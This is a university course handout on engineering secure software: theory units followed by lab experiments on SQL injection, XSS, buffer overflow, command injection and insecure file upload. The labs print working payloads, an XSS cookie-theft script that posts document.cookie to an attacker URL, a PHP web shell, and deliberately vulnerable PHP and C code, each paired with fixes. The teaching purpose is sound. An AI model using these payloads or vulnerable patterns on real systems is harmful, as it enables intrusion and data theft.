0% found this document useful (0 votes)
64 views24 pages

Engineering Secure Software Systems

Uploaded by

someswaranravi
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
64 views24 pages

Engineering Secure Software Systems

Uploaded by

someswaranravi
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd

CB3591 – ENGINEERING SECURE SOFTWARE SYSTEMS

UNIT I: Need of Software Security And Low-Level Attacks

1.1 Introduction to Software Security


 Definition: Software security is the idea of engineering software so that it
continues to function correctly under malicious attack.
 Objective: To build systems that are robust, resilient, and resistant to
compromise.
1.2 Software Assurance vs. Software Security
Software Assurance Software Security
Focuses on software quality Focuses on protecting software from vulnerabilities
Emphasizes on correctness Emphasizes on resisting attacks
Tests for bugs Tests for both bugs and exploitable weaknesses

1.3 Threats to Software Security


 Unauthorized access
 Data theft or leakage
 Code injection (e.g., SQLi, XSS)
 Malware insertion
 Privilege escalation

1.4 Sources of Software Insecurity


 Insecure programming practices
 Improper input validation
 Lack of secure coding standards
 Misconfigured security settings
 Use of outdated libraries or frameworks

1.5 Benefits of Detecting Software Security Early


 Cost-effective: Fixing early is cheaper than post-deployment
 Reduces risk of exploitation
 Builds user trust
 Enhances compliance (e.g., GDPR, HIPAA)
 Improves overall software quality

1.6 Properties of Secure Software


 Confidentiality: Prevents unauthorized data access
 Integrity: Data remains unaltered unless authorized
 Availability: Ensures service uptime
 Authentication: Verifies user identity
 Authorization: Controls user access to resources

1.7 Memory-Based Attacks


These exploit how memory is managed and used. Common types:
 Buffer Overflow
 Heap Spray
 Stack Smashing

1.8 Low-Level Attacks: Heap & Stack


Heap Attacks:
 Exploit dynamic memory allocation
 Example: Heap overflow corrupting memory
Stack Attacks:
 Overwriting the return address
 Example: Stack buffer overflow leading to arbitrary code execution

1.9 Techniques to Defend Against Memory-Based Attacks


 Canaries: Special values placed on the stack to detect overwriting
 DEP (Data Execution Prevention): Marks memory as non-executable
 ASLR (Address Space Layout Randomization): Randomizes memory
locations
 Safe coding practices: e.g., using strncpy instead of strcpy

1.10 Case Study: Heartbleed Vulnerability


 Caused by a buffer over-read in OpenSSL
 Exploited a missing bounds check
 Led to massive data leaks globally

1.11 Secure Software Development Lifecycle (SSDLC) Overview


 Integrates security at each phase of software development:
1. Requirements – Define security requirements.
2. Design – Perform threat modeling.
3. Implementation – Use secure coding practices.
4. Testing – Perform security testing.
5. Deployment & Maintenance – Monitor and patch vulnerabilities.

1.12 Secure Coding Practices


 Input validation
 Avoiding hardcoded credentials
 Using parameterized queries
 Managing memory securely
 Proper error and exception handling

1.13 Common Memory Vulnerabilities


Vulnerability Description Consequences
Buffer Overflow Exceeding buffer capacity Arbitrary code execution
Format String Bug Improper formatting functions Leak memory/data
Use-after-free Accessing freed memory Crashes, corruption
Integer Overflow Exceeding integer limits Buffer misallocation

1.14 Real-World Examples


1. Morris Worm (1988): One of the first Internet worms, exploited buffer
overflows.
2. Blaster Worm (2003): Exploited a stack buffer overflow in Windows DCOM
RPC.
3. Heartbleed (2014): Buffer over-read vulnerability in OpenSSL.

1.15 Tools for Analyzing Software Security


 Static Analysis Tools (e.g., SonarQube, Fortify, Checkmarx)
 Dynamic Analysis Tools (e.g., Valgrind, AddressSanitizer)
 Fuzz Testing (e.g., AFL, Peach Fuzzer)
 Binary Analysis (e.g., Ghidra, IDA Pro)

1.16 Secure Memory Management Techniques


 Use memory-safe languages like Rust or Java
 Use managed memory environments
 Avoid unsafe constructs in C/C++ (like raw pointers)
 Prefer libraries with built-in bounds checks

1.17 Exploit Techniques


 Shellcode Injection
 Return-Oriented Programming (ROP)
 Heap Feng Shui (manipulating heap layout for exploitation)
 Return-to-libc (redirecting execution to library functions)

1.18 Defensive Programming Techniques


 Design by contract
 Redundant checks
 Failsafe defaults
 Secure error logging
 Principle of Least Privilege (PoLP)

1.19 Best Practices to Avoid Low-Level Attacks


 Avoid unsafe functions: e.g., gets(), strcpy(), sprintf()
 Use compiler security options:
o -fstack-protector
o -D_FORTIFY_SOURCE
o Stack canaries
 Enable platform-level protections (DEP, ASLR)

1.20 Summary of Unit I


 Importance: Software security ensures reliability under attack
 Key Concepts: Memory attacks, secure coding, SSDLC
 Defenses: Static/dynamic analysis, secure languages, system-level protection
 Outcome: Students will understand core threats and how to design defenses
against them in software systems.

UNIT II: SECURE SOFTWARE DESIGN


🔹 2.1 Introduction to Secure Software Design
Secure software design ensures that applications are built with security in mind from
the earliest stages, reducing vulnerabilities and attack surfaces.
Key principles:
 Security is not a feature, but a design requirement.
 Apply security controls from the design phase.
 Identify and mitigate risks early.

🔹 2.2 Requirements Engineering for Secure Software


 Traditional requirement engineering focuses on functionality.
 Secure software requires security requirements: confidentiality, integrity,
availability, authentication, authorization, and non-repudiation.
Example:
“The system shall ensure that only authenticated users can access patient records.”

🔹 2.3 SQUARE Process Model


SQUARE = Security Quality Requirements Engineering
A 9-step method for eliciting and prioritizing security requirements.
Steps:
1. Agree on definitions
2. Identify security goals
3. Develop artifacts (use cases, system models)
4. Perform risk assessment
5. Elicit security requirements
6. Categorize requirements
7. Prioritize requirements
8. Inspect for consistency
9. Documentation

🔹 2.4 Requirements Elicitation and Prioritization


 Elicitation techniques: Interviews, questionnaires, brainstorming, misuse
cases.
 Prioritization techniques: Risk-based ranking, MoSCoW (Must-have,
Should-have...).

🔹 2.5 Isolating Effects of Untrusted Executable Content


Untrusted content poses serious threats. Strategies:
 Sandboxing (e.g., browser tabs)
 Code signing
 Virtualization
 Run-time restrictions

🔹 2.6 Stack Inspection


Technique used in Java VM to verify call stack for security permissions.
Example: Only functions with proper permissions may access sensitive APIs.

🔹 2.7 Policy Specification Languages


Used to define security policies in formal language.
Examples:
 XACML (XML Access Control Markup Language)
 Ponder
 SecPAL (Security Policy Assertion Language)

🔹 2.8 Vulnerability Trends


 OWASP Top 10: A global standard of major web application vulnerabilities.
 CWE (Common Weakness Enumeration): Classification of software
weaknesses.
Common vulnerabilities:
 Injection flaws (SQL, Command)
 Broken access control
 Security misconfigurations
 Insecure deserialization

🔹 2.9 Buffer Overflow


Occurs when data exceeds buffer capacity and overwrites adjacent memory.
Prevention:
 Use memory-safe languages (Java, Python)
 Compiler protections (-fstack-protector)
 Bounds checking

🔹 2.10 Code Injection


Malicious code is injected and executed.
Types:
 SQL Injection
 Command Injection
 LDAP Injection
Mitigation:
 Input validation
 Parameterized queries
 Escaping user input

🔹 2.11 Session Hijacking


Attacker takes over a valid session between user and application.
Techniques:
 Stealing cookies
 Cross-site scripting
 Session fixation
Defense:
 Use HTTPS
 Regenerate session IDs
 Set cookie flags: HttpOnly, Secure, SameSite

🔹 2.12 Secure Design Principles


 Least Privilege: Give minimum permissions necessary.
 Defense in Depth: Layered security.
 Fail-Safe Defaults: Deny by default.
 Complete Mediation: Every access checked.
 Economy of Mechanism: Keep it simple.
 Open Design: Security through transparency.
🔹 2.13 Threat Modeling
A proactive technique to identify, analyze, and mitigate potential threats.
Popular methods:
 STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial
of Service, Elevation of Privilege)
 DREAD (Damage potential, Reproducibility, Exploitability, Affected users,
Discoverability)
🔹 2.14 Threat Modeling Steps
1. Identify assets
2. Create architecture diagrams
3. Identify threats
4. Rate threats
5. Define mitigations
Example:
In an e-banking system, protect login credentials, balance info, transaction data.
🔹 2.15 Secure Architecture Patterns
 Trusted Computing Base (TCB)
 Reference Monitor Concept
 Layered Security Architecture
 Use of Secure APIs
🔹 2.16 Case Study: Secure ATM Design
 Assets: PIN, account info, cash dispenser
 Threats: Skimming, shoulder surfing, malware
 Mitigation: PIN shielding, software checksums, encrypted communication
🔹 2.17 Security in Object-Oriented Design
 Encapsulation helps enforce access control.
 Secure class hierarchies.
 Use access modifiers appropriately (private, protected, public).
🔹 2.18 Secure Design Review Checklist
 Are inputs validated?
 Is data encrypted at rest and in transit?
 Are authentication and session mechanisms secure?
 Are APIs securely designed?
🔹 2.19 Tools for Secure Software Design
 Microsoft Threat Modeling Tool
 OWASP Threat Dragon
 SQUARE Tool (CMU)
 IBM AppScan

🔹 2.20 Summary of Unit II


 Secure design is critical to preventing software vulnerabilities.
 Focus on identifying, specifying, and validating security requirements early.
 Threat modeling is essential to building secure systems.
 Applying best design principles and tools leads to resilient software systems.

UNIT III: SECURITY RISK MANAGEMENT

🔹 3.1 Introduction to Security Risk Managemnt


 Risk = Threat × Vulnerability × Impact
 Security risk management helps in identifying, assessing, and mitigating risks
throughout the software lifecycle.
 Goal: Minimize adverse effects on software confidentiality, integrity, and
availability (CIA).

🔹 3.2 Risk Management Life Cycle


A continuous process involving:
1. Identify Risks
2. Analyze and Evaluate Risks
3. Treat Risks (Mitigation)
4. Monitor and Review
5. Communicate and Consult

🔹 3.3 Risk Profiling


 Assign characteristics to each risk:
o Source
o Nature (technical, legal, reputational)
o Severity
o Likelihood
o Affected assets
Risk Profile = A comprehensive map of all risks across the system.

🔹 3.4 Risk Exposure Factors


 Asset Value: Importance of the asset to the system.
 Threat Likelihood: Probability of attack.
 Vulnerability Level: Ease of exploitation.
 Impact Severity: Damage caused (financial, operational, reputational).
Formula:
Risk Exposure (RE) = Likelihood × Impact

🔹 3.5 Risk Evaluation and Mitigation


 Evaluate: Compare risk level with risk acceptance criteria.
 Mitigation Strategies:
1. Avoid: Eliminate the risk.
2. Reduce: Apply controls (e.g., firewalls).
3. Transfer: Insurance, outsourcing.
4. Accept: When risk is minimal.

🔹 3.6 Risk Assessment Techniques


Technique Description Suitable for
Qualitative Uses scales like low/medium/high Early project phases
Quantitative Assigns numerical values to risks Cost-benefit analysis
Hybrid Mix of both Balanced decision-making

🔹 3.7 Threat and Vulnerability Management


 Threat: A potential cause of unwanted incident (e.g., hacker, malware)
 Vulnerability: A weakness that can be exploited by threats
Steps:
1. Identify vulnerabilities (e.g., unpatched software)
2. Map them to threats (e.g., ransomware)
3. Evaluate potential outcomes

🔹 3.8 Types of Threats


1. Technical Threats: Software bugs, backdoors, buffer overflows
2. Physical Threats: Unauthorized hardware access
3. Insider Threats: Employees misusing access
4. External Threats: Hackers, malware, phishing

🔹 3.9 Examples of Security Risks


Risk Vulnerability Threat
Data breach Weak password storage Credential stuffing
Denial of service Lack of rate limiting Bot attack
Code injection No input sanitization Malicious user input

🔹 3.10 Threat Modeling Integration


 Risk assessment should align with threat modeling outcomes.
 Example: STRIDE threats mapped to likelihood and impact for risk ratings.

🔹 3.11 Key Risk Assessment Tools


 OCTAVE – Operationally Critical Threat, Asset, and Vulnerability
Evaluation
 FAIR – Factor Analysis of Information Risk
 NIST SP 800-30 – Risk Management Guide
 ISO/IEC 27005 – Standard for Information Security Risk Management

🔹 3.12 Creating a Risk Register


A tabular document tracking:
ID Asset Threat Vulnerability Impact Likelihood Risk Score Mitigation
Helps in prioritization and tracking remediation.

🔹 3.13 Residual Risk


 The remaining risk after mitigation is applied.
 Should be clearly documented and accepted by stakeholders.

🔹 3.14 Cost-Benefit Analysis in Risk Treatment


 Weigh cost of control vs. cost of exploitation.
 Example: Spending ₹10,000 to fix a vulnerability that could cause ₹1 crore
loss.

🔹 3.15 Real-World Case: Equifax Data Breach


 Cause: Unpatched Apache Struts vulnerability.
 Missed risk: High-severity CVE ignored.
 Loss: Over 140 million user records breached.
 Lessons: Continuous risk monitoring and patching are critical.

🔹 3.16 Business Impact Analysis (BIA)


 Evaluate how an incident affects business operations.
 Identify critical systems and time to recover (RTO/RPO).
 Example: Bank’s online system downtime = customer loss.

🔹 3.17 Measuring Risk Management Success


 Number of high-risk vulnerabilities reduced
 Time to detect/respond to threats
 Compliance with standards (ISO 27001, GDPR, etc.)

🔹 3.18 Risk Communication and Reporting


 Security risk reporting to stakeholders must be:
o Accurate
o Actionable
o Timely
Include visual aids like risk heat maps and dashboards.

🔹 3.19 Security Risk Governance


 Establish risk management roles:
o Risk Owners
o Risk Managers
o IT Security Officers
 Define policies, procedures, and audit mechanisms.

🔹 3.20 Summary of Unit III


 Risk management is central to proactive software security.
 Involves identifying, assessing, and mitigating threats/vulnerabilities.
 Integrates with secure design and testing.
 Must be documented, reviewed, and communicated continuously.

UNIT IV: SECURITY TESTING

🔹 4.1 Introduction to Security Testing


Security testing is the process of identifying vulnerabilities, threats, and risks in
software applications and ensuring that they are not exploited.
Goal: Ensure that the system protects data and maintains intended functionality under
malicious attack.
🔹 4.2 Traditional Software Testing vs Security Testing
Traditional Testing Security Testing
Verifies functionality Verifies resistance to attacks
Focus on correct input Focus on malicious input
Covers positive test cases Covers negative test cases
Performed by QA team Often involves security experts

🔹 4.3 Secure Software Development Life Cycle (SSDLC)


Security is embedded into each software lifecycle phase:
 Design: Threat modeling
 Implementation: Secure coding
 Testing: Security validation
 Maintenance: Patch management, log monitoring

🔹 4.4 Risk-Based Security Testing


Focuses testing effort on:
 Critical assets
 High-impact threats
 Highly exploitable vulnerabilities
Examples:
 Authentication bypass
 Input injection flaws
 Data leakage risks

🔹 4.5 Prioritizing Security Testing with Threat Modeling


Use outputs of STRIDE, DREAD, or attack trees to:
 Identify vulnerable components
 Assign testing priorities
 Build attack-based test cases

🔹 4.6 Penetration Testing


Simulated cyberattack on your system to identify exploitable weaknesses.
Phases:
1. Planning – Scope, rules of engagement
2. Reconnaissance – Passive/active information gathering
3. Exploitation – Gaining access
4. Post-exploitation – Data exfiltration, privilege escalation
5. Reporting – Document findings and recommendations

🔹 4.7 Planning and Scoping


Define:
 Systems in scope
 Authorized test methods
 Test timeline
 Compliance/legal considerations

🔹 4.8 Enumeration
Actively probing systems to extract information:
 Open ports
 Services running
 OS and application versions
 User accounts
Tools: Nmap, Netcat, Nikto

🔹 4.9 Remote Exploitation


Gaining unauthorized access from a remote machine using:
 Unpatched vulnerabilities
 Misconfigured services
 Credential brute-forcing

🔹 4.10 Web Application Exploitation


Test for OWASP Top 10 issues:
 SQL Injection
 Cross-Site Scripting
 Insecure Deserialization
 File Upload Vulnerabilities
Tools: Burp Suite, OWASP ZAP

🔹 4.11 Client-Side Attacks


Target the user's browser or client device.
Examples:
 XSS
 Clickjacking
 CSRF (Cross-Site Request Forgery)
 Malicious scripts in browser extensions

🔹 4.12 Post-Exploitation
Actions after successful exploitation:
 Privilege escalation
 Credential dumping
 Lateral movement
 Creating backdoors

🔹 4.13 Bypassing Firewalls and Avoiding Detection


 Use of tunneling, steganography, encrypted payloads
 Polymorphic malware that changes signature
 Spoofing IPs, evading IDS/IPS

🔹 4.14 Tools for Penetration Testing


Tool Use
Nmap Port scanning
Metasploit Exploit development
Burp Suite Web app testing
Nikto Web server scanner
Wireshark Network packet analysis
Kali Linux OS with bundled pen testing tools

🔹 4.15 Automation in Security Testing


 CI/CD Pipeline Integration
 Automated DAST (Dynamic Analysis)
 Automated SAST (Static Analysis)
Tools: SonarQube, GitHub CodeQL, OWASP Dependency-Check

🔹 4.16 Secure Code Review


 Manual or automated inspection of source code
 Detects logical and security flaws
 Complements penetration testing
🔹 4.17 Dynamic vs Static Testing
Type Description
Static Analyzes code without execution
Dynamic Tests application while it runs
Example:
 Static: Check for hardcoded passwords
 Dynamic: SQL injection via form input
🔹 4.18 Reporting and Documentation
Report format includes:
 Summary of findings
 Risk rating
 Reproduction steps
 Fix recommendations
 Screenshots/logs as evidence
Risk Matrix:
Vulnerability Impact Likelihood Risk Level
🔹 4.19 Security Testing Challenges
 Lack of security expertise
 False positives in tools
 Incomplete test coverage
 Time constraints in SDLC
 Rapidly evolving threat landscape
🔹 4.20 Summary of Unit IV
 Security testing ensures software behaves securely under malicious conditions.
 Includes both manual (pen testing) and automated (SAST/DAST) methods.
 Tools and techniques must align with threat models and business priorities.
 Continuous testing across the lifecycle is vital.

UNIT V: SECURE PROJECT MANAGEMENT

🔹 5.1 Introduction to Secure Project Management


Secure project management integrates security concerns into the planning, execution,
and delivery of software projects.
Goal: Ensure security is treated as a core project objective—not an afterthought.

🔹 5.2 Project Management Basics (Recap)


 Phases: Initiation → Planning → Execution → Monitoring → Closure
 Key roles: Project manager, developers, testers, security engineers,
stakeholders
 Deliverables: Scope, schedule, budget, quality, risk management
🔹 5.3 Integrating Security into Project Lifecycle
 Security should be included in:
o Requirements
o Budget
o Time estimates
o Resource planning
Secure SDLC (Security touchpoints):
 Risk assessments
 Threat modeling
 Secure design reviews
 Code audits
 Penetration testing

🔹 5.4 Managing Security in Requirements Phase


 Define security-specific requirements:
o Regulatory compliance (GDPR, HIPAA)
o CIA goals (Confidentiality, Integrity, Availability)
 Use misuse cases and attack trees to model threats

🔹 5.5 Budgeting for Security


Include costs for:
 Security tools (SAST, DAST, scanners)
 Training and certifications
 Third-party security audits
 Penetration testing engagements

🔹 5.6 Planning for Secure Architecture and Design


 Incorporate security design reviews into the schedule
 Allocate time for:
o Threat modeling sessions
o Secure framework selection
o Cryptographic protocols review

🔹 5.7 Task Breakdown and Role Assignment


Sample Roles:
Role Responsibility
Security Lead Define security architecture
Developer Implement secure code
Tester Perform security test cases
Auditor Review logs, perform compliance checks

🔹 5.8 Security Metrics for Project Management


Key Metrics:
 Number of security bugs per release
 Average time to patch vulnerabilities
 Code coverage for security testing
 Frequency of threat model reviews

🔹 5.9 Security Risk Management in Projects


 Identify and document project-specific risks
 Example: Delayed deployment → exposed unpatched modules
 Maintain risk register and mitigation actions

🔹 5.10 Secure Agile Project Management


Agile can integrate security via:
 Secure user stories: “As a user, I want two-factor authentication...”
 Security-focused sprints
 Security retrospectives
 Tools like OWASP SAMM and BSIMM for maturity modeling

🔹 5.11 DevSecOps Integration


DevSecOps = Development + Security + Operations
Practices:
 Shift-left testing (test early)
 Automate SAST/DAST
 Security as code (infrastructure configuration)
 Continuous compliance

🔹 5.12 Secure Project Documentation


Important artifacts:
 Secure design documents
 Threat models
 Risk register
 Penetration test reports
 Security training logs

🔹 5.13 Vendor and Third-Party Risk Management


 Evaluate security of vendors:
o SLAs
o Compliance certifications (e.g., ISO 27001)
o Software Bill of Materials (SBOM)
 Use of zero trust principles in outsourced modules

🔹 5.14 Compliance and Legal Considerations


Projects must comply with:
 Regulations (GDPR, CCPA, HIPAA)
 Industry standards (PCI DSS, ISO/IEC 27001)
 Contractual obligations (NDA, SLA security clauses)

🔹 5.15 Project Closure Activities


 Archive security documentation
 Retain audit logs
 Conduct a post-mortem security review
 Validate patch management and issue resolution

🔹 5.16 Security Training for Project Teams


Train developers and stakeholders on:
 OWASP Top 10
 Secure coding practices
 Data protection
 Social engineering awareness

🔹 5.17 Secure Software Maturity Models


Used to evaluate and guide secure project practices:
 OWASP SAMM
 BSIMM (Building Security In Maturity Model)
 NIST SSDF (Secure Software Development Framework)

🔹 5.18 Tools for Secure Project Management


Tool Use
JIRA + OWASP plugin Track security tasks
GitLab/GitHub DevSecOps automation
Jenkins Security in CI/CD
SonarQube Static analysis
Risk Register Templates Track risks and mitigation

🔹 5.19 Case Study: Secure E-Commerce Project


 Threats: Card data theft, session hijacking
 Actions:
o PCI-DSS compliant encryption
o Role-based access control
o Penetration tests before go-live

🔹 5.20 Summary of Unit V


 Security is a critical deliverable of project management.
 Must be planned, budgeted, monitored, and reviewed continuously.
 Secure project management improves software quality, trust, and compliance.

CB3591 – Engineering Secure Software Systems Lab

🔬 Experiment 1: SQL Injection

🔹 Aim
To demonstrate and exploit an SQL Injection vulnerability and understand its
mitigation techniques.

🔹 Apparatus / Tools Required


 XAMPP / WAMP Server (Apache + MySQL + PHP)
 Web Browser (Chrome/Firefox)
 MySQL Database
 Text Editor (VS Code / Notepad++)
 Optional: Burp Suite

🔹 Theory
SQL Injection is a technique where an attacker inserts or manipulates SQL queries
through user input fields. If the application doesn’t validate or sanitize inputs
properly, an attacker can:
 Bypass authentication
 Access sensitive data
 Modify or delete data

🔹 Procedure
1. Setup the environment:
o Install and start XAMPP or WAMP server.
o Create a MySQL database named securelab.
o Create a table users with fields: id, username, password.
2. Insert sample data:
sql
CopyEdit
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50),
password VARCHAR(50)
);

INSERT INTO users (username, password) VALUES ('admin', 'admin123');


3. Create vulnerable PHP login page:
php
CopyEdit
<?php
$conn = mysqli_connect("localhost", "root", "", "securelab");
$user = $_POST['username'];
$pass = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$user' AND password =
'$pass'";
$result = mysqli_query($conn, $query);

if (mysqli_num_rows($result) > 0) {
echo "Login successful!";
} else {
echo "Login failed!";
}
?>
4. Run the login form in browser (e.g., localhost/[Link]).
5. Exploit the SQL Injection:
o Use the following input:
 Username: ' OR '1'='1
 Password: anything
o Result: Login will be bypassed!
6. Mitigation (Optional):
o Use prepared statements:
php
CopyEdit
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND
password = ?");
$stmt->bind_param("ss", $user, $pass);
$stmt->execute();

🔹 Output
 Without injection: Shows "Login failed" for invalid credentials.
 With injection: Bypasses login and shows "Login successful" even with wrong
password.

🔹 Result
SQL Injection was successfully demonstrated. We also explored how to prevent it
using prepared statements.

🔹 Viva Questions
1. What is SQL Injection?
2. How does it affect the confidentiality of a system?
3. Give an example of a successful SQL injection.
4. What are the ways to prevent SQL Injection?
5. What is the difference between client-side and server-side validation?

🔬 Experiment 2: Cross Site Scripting (XSS)

🔹 Aim
To demonstrate Cross-Site Scripting (XSS) attack and understand its types and
prevention techniques.

🔹 Apparatus / Tools Required


 Browser (Chrome/Firefox)
 XAMPP/WAMP with Apache and PHP
 Basic HTML/PHP setup
 Optional: OWASP Juice Shop or DVWA for practice

🔹 Theory
XSS (Cross-Site Scripting) is a type of vulnerability that allows an attacker to inject
malicious scripts into content viewed by other users.
Types of XSS:
1. Stored XSS – Script is saved on the server and served to other users.
2. Reflected XSS – Script is part of the URL or request and reflected in
response.
3. DOM-based XSS – Script manipulates the DOM environment in the browser.
Impacts:
 Cookie theft
 Session hijacking
 Defacement
 Redirection to malicious websites

🔹 Procedure
✅ Step 1: Create a vulnerable PHP file
php
CopyEdit
<!-- save as [Link] -->
<form method="GET">
Enter your name: <input type="text" name="name">
<input type="submit">
</form>

<?php
if (isset($_GET['name'])) {
echo "Hello, " . $_GET['name'];
}
?>
✅ Step 2: Launch the attack
In the input field, enter:
html
CopyEdit
<script>alert('XSS attack');</script>
Result: A JavaScript popup appears. This proves XSS is working.
✅ Step 3: Try a cookie theft simulation
html
CopyEdit
<script>[Link]='[Link]
cookie='+[Link]</script>
(NOTE: This requires a simulated attacker server.)

🔹 Mitigation
1. Escape HTML special characters before rendering user input:
php
CopyEdit
echo "Hello, " . htmlspecialchars($_GET['name']);
2. Use Content Security Policy (CSP)
3. Input validation and output encoding

🔹 Output
 Without fix: Alert pops up with "XSS attack".
 With htmlspecialchars(): The script is shown as plain text, not executed.
🔹 Result
XSS vulnerability was successfully demonstrated using a simple form. Script
injection was executed and then prevented using output encoding.

🔹 Viva Questions
1. What is XSS?
2. Differentiate between Stored and Reflected XSS.
3. How can XSS lead to session hijacking?
4. What is htmlspecialchars() used for?
5. What is a Content Security Policy?

Experiment 3: Buffer Overflow Attack

🔹 Aim
To demonstrate a buffer overflow vulnerability in a C program and understand how it
can be exploited.

🔹 Apparatus / Tools Required


 Linux system (Ubuntu or Kali recommended)
 GCC Compiler
 Terminal
 GDB Debugger (optional)
 Text editor (Vim, Nano, VS Code)

🔹 Theory
A Buffer Overflow occurs when more data is written to a buffer than it can hold,
causing adjacent memory to be overwritten.
Consequences:
 Crashing the program
 Overwriting return address
 Arbitrary code execution (shellcode injection)
Cause: No bounds checking in functions like gets(), strcpy(), sprintf()

🔹 Procedure
✅ Step 1: Write a vulnerable C program
c
CopyEdit
// buffer.c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[20];
printf("Enter input: ");
gets(buffer); // Unsafe
printf("You entered: %s\n", buffer);
}
int main() {
vulnerable_function();
return 0;
}
✅ Step 2: Compile the program
bash
CopyEdit
gcc -fno-stack-protector -z execstack buffer.c -o buffer
 -fno-stack-protector: disables stack canaries
 -z execstack: allows execution of stack (for payloads)
✅ Step 3: Run the program
bash
CopyEdit
./buffer
Enter a large string:
bash
CopyEdit
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Result: Program crashes (Segmentation fault) — stack overflow!

🔹 Optional: Use GDB to Inspect


bash
CopyEdit
gdb ./buffer
run
Check the state of registers, memory, and return address after the overflow.

🔹 Mitigation Techniques
1. Bounds checking – Use fgets() instead of gets()
2. Canary values – Stack protectors
3. ASLR (Address Space Layout Randomization)
4. DEP (Data Execution Prevention)
5. Use memory-safe languages (Python, Java, Rust)

🔹 Output
 Program runs normally for short input.
 With long input, it crashes due to segmentation fault.
 Memory corruption verified via GDB.

🔹 Result
Buffer overflow was demonstrated successfully using a vulnerable C program. The
unsafe behavior of gets() was observed and mitigation methods discussed.

🔹 Viva Questions
1. What causes a buffer overflow?
2. Why is gets() considered dangerous?
3. What is a segmentation fault?
4. How can buffer overflows be prevented?
5. What role does ASLR play in security?
Experiment 4: Command Injection Attack

🔹 Aim
To demonstrate a Command Injection vulnerability in a web application and
understand how it can be mitigated.

🔹 Apparatus / Tools Required


 XAMPP or WAMP (for Apache + PHP)
 Web Browser (Chrome/Firefox)
 PHP-enabled Local Server
 Linux/Windows Command Line
 Optional: DVWA (Damn Vulnerable Web Application)

🔹 Theory
Command Injection allows an attacker to execute arbitrary OS commands on the host
machine through a vulnerable application.
This occurs when:
 User inputs are passed directly to system calls (e.g., system(), exec())
 Input is not validated or sanitized
Risks:
 Server compromise
 Data exfiltration
 Privilege escalation

🔹 Procedure
✅ Step 1: Create vulnerable PHP file
php
CopyEdit
<!-- save as [Link] -->
<form method="GET">
Enter IP to ping: <input type="text" name="ip">
<input type="submit">
</form>

<?php
if (isset($_GET['ip'])) {
$ip = $_GET['ip'];
system("ping -c 2 " . $ip);
}
?>
✅ Step 2: Launch the attack
 Access the file: [Link]
 Input normally: [Link] → Will ping localhost
 Inject command:
bash
CopyEdit
[Link]; ls
or on Windows:
bash
CopyEdit
[Link] & dir
Result: Server executes both ping and ls/dir, displaying files in the current directory!
✅ Step 3: Prevent Command Injection
 Use PHP's escapeshellarg():
php
CopyEdit
system("ping -c 2 " . escapeshellarg($ip));
 Or validate input using regex:
php
CopyEdit
if (preg_match("/^[0-9.]+$/", $ip)) {
system("ping -c 2 " . $ip);
}

🔹 Output
 With normal input: Pings the given IP.
 With injection: Lists files or executes arbitrary commands.
 With proper sanitization: Only IP is accepted, commands blocked.

🔹 Result
Command Injection vulnerability was successfully demonstrated. Proper input
validation and escaping can prevent such attacks.

🔹 Viva Questions
1. What is command injection?
2. How is it different from SQL Injection?
3. Why is system() risky in PHP?
4. How can user inputs be sanitized in PHP?
5. What is the role of escapeshellarg()?

Experiment 5: Secure File Upload Attack

🔹 Aim
To demonstrate how insecure file uploads can lead to vulnerabilities and how to
secure a file upload feature in a web application.

🔹 Apparatus / Tools Required


 Apache Server with PHP (XAMPP/WAMP)
 Browser (Chrome/Firefox)
 Text Editor
 Sample malicious PHP file (e.g., [Link])

🔹 Theory
Unrestricted File Upload allows attackers to upload malicious files (e.g., web shells)
to the server, potentially enabling:
 Remote Code Execution (RCE)
 Defacement
 Unauthorized access to server data
Common causes:
 No validation of file type or extension
 Uploading files to publicly accessible directories

🔹 Procedure
✅ Step 1: Create vulnerable file upload form
php
CopyEdit
<!-- save as [Link] -->
<form action="[Link]" method="post" enctype="multipart/form-data">
Select file to upload:
<input type="file" name="fileToUpload">
<input type="submit" value="Upload File" name="submit">
</form>

<?php
if (isset($_POST["submit"])) {
move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
"uploads/" . $_FILES["fileToUpload"]["name"]);
echo "File uploaded successfully.";
}
?>
✅ Step 2: Create a web shell (malicious file)
php
CopyEdit
<!-- save as [Link] -->
<?php
if(isset($_REQUEST['cmd'])){
system($_REQUEST['cmd']);
}
?>
✅ Step 3: Upload the shell
 Visit [Link]
 Choose [Link] and upload
 Access it via browser: [Link]
Result: Executes OS command on server – dangerous!

🔹 Prevention Techniques
1. Allow only specific file types
php
CopyEdit
$allowed_types = ['image/jpeg', 'image/png'];
if (!in_array($_FILES['fileToUpload']['type'], $allowed_types)) {
die("Invalid file type.");
}
2. Check file extension & MIME
3. Rename file on upload (avoid execution)
4. Store in non-public folder
5. Disable execution rights for upload folder (.htaccess or server settings)

🔹 Output
 Without restriction: Malicious PHP file gets uploaded and executed.
 With security in place: Upload is blocked or script execution fails.

🔹 Result
Insecure file upload was successfully demonstrated. The importance of validation, file
type checking, and access control was observed.

🔹 Viva Questions
1. Why is unrestricted file upload dangerous?
2. How can MIME type help secure file uploads?
3. What is the purpose of move_uploaded_file()?
4. How can we prevent execution of uploaded scripts?
5. What are other secure file upload practices?

You might also like